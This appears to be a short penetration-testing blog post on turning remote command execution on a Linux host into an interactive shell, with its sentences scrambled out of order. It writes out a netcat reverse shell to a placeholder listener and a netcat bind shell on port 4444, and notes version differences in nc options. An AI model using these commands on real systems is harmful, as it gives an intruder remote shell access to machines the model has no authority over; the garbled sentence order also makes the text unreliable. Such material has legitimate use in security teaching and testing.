![]() ![]() It may be even better to use the -c switch instead of -e if it is available because then you can pass more than an executable name to execute. ![]() BSD) don’t need the -p option if -l is specified (in fact it is not valid to use -p with -l on those versions), and some don’t have the -e option. It should be noted that some versions of nc (e.g. Or I could set up a bind shell on the system then connect to it later using nc: nc -lp 4444 -e /bin/bash Something like this should send a reverse shell to a nc listener, running on DEST_IP:DEST_PORT: nc DEST_IP DEST_PORT -e /bin/bash If nc or ncat is installed, it should be fairly simple to send the shell to my listener. Usually an nc listener would be used to receive the reverse shell, and I normally start it with the -v option so that it will show when a connection is received. Often when I get remote command execution on a linux system for example I’ve planted my one line php script, the next step is getting a remote shell. ![]()
0 Comments
Leave a Reply. |
AuthorWrite something about yourself. No need to be fancy, just an overview. ArchivesCategories |